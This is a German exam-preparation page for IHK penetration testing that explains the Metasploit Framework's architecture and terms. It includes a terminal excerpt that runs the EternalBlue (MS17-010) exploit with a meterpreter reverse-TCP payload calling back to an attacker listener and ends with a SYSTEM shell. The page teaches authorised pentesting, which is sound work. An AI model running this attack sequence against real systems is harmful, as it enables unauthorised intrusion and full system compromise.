Metasploit Framework – Überblick
Das Metasploit Framework ist das meistgenutzte Exploitation-Tool in der Pentesting-Welt. Es wurde 2003 von H.D. Moore entwickelt und ist heute Open Source (metasploit.com, Rapid7). Metasploit fasst tausende Exploits, Payloads und Auxiliary-Module in einer einheitlichen Benutzeroberfläche zusammen – von der Schwachstellen-Suche bis zum Shell-Zugriff, alles in einem Framework.
Für die IHK-Prüfung ist Metasploit ein Prüfungsthema im Bereich Penetration Testing (A6b). Es ist wichtig, das Framework konzeptionell zu verstehen: Was sind Exploits, Payloads und Sessions? Wie läuft ein typischer Angriff ab? Gleichzeitig gilt wie immer: Metasploit darf nur auf autorisierten Systemen verwendet werden.
1) Framework-Architektur
Metasploit ist modular aufgebaut. Die Kernkonzepte sind Exploit (die eigentliche Schwachstellen-Ausnutzung), Payload (der Code, der nach erfolgreichem Exploit auf dem Ziel ausgeführt wird) und Session (die aktive Verbindung zum kompromittierten System). Klicke auf eine Komponente für Details.
2) Typischer Metasploit-Workflow
Der folgende Ablauf zeigt einen vereinfachten Metasploit-Angriff auf ein System mit einer bekannten SMB-Schwachstelle (EternalBlue/MS17-010 – die Lücke hinter WannaCry). Die Animation und der Terminalausschnitt sind für Lernzwecke auf ein autorisiertes Testsystem ausgerichtet.
Name: exploit/windows/smb/ms17_010_eternalblue
Rank: excellent | Check: Yes
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.50
RHOSTS => 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.0.1:4444
[+] 192.168.1.50:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-= WIN =-=-=-=-=-=-=-=-=-
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer: WIN-SERVER2008 | OS: Windows Server 2008 R2 (Build 7601)
Zusammenfassung
| Begriff | Bedeutung |
|---|---|
| Exploit | Code zur Ausnutzung einer spezifischen Schwachstelle |
| Payload | Code, der nach erfolgreicher Exploitation ausgeführt wird (Shell, Meterpreter) |
| Meterpreter | Erweiterter Payload: interaktive Shell + viele Post-Exploit-Funktionen |
| Auxiliary | Nicht-exploitierendes Modul: Scanner, Brute Force, Enumeration |
| Session | Aktive Verbindung zu einem kompromittierten System |
| LHOST/LPORT | Listener-IP und -Port des Angreifers für Reverse Shells |
| RHOSTS | Ziel-IP(s) des Angriffs |
Nach Exploitation folgt die Dokumentation: Pentest-Bericht schreiben.